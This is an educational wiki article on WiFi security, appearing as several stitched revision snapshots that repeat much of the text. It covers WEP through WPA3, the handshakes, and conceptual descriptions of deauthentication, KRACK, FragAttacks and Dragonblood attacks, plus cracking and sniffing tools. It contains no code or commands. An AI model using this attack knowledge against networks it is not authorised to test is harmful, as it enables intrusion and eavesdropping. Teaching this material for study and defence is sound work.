is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T16:35:57Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP
*WEP has no Mechanism to prevent to manipulate data packets.
*WEP can not prevent Replay Attacks
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.
*WEP doesn't use different IV's every time, this allows to decrypt data without knowing the current key.
*WEP allows attackers to modify messages or data without knowing the encryption key.
*with WEP it is easy to manipulate Authentication messages.

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T15:46:00Z

RSchuller: /* Versions */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

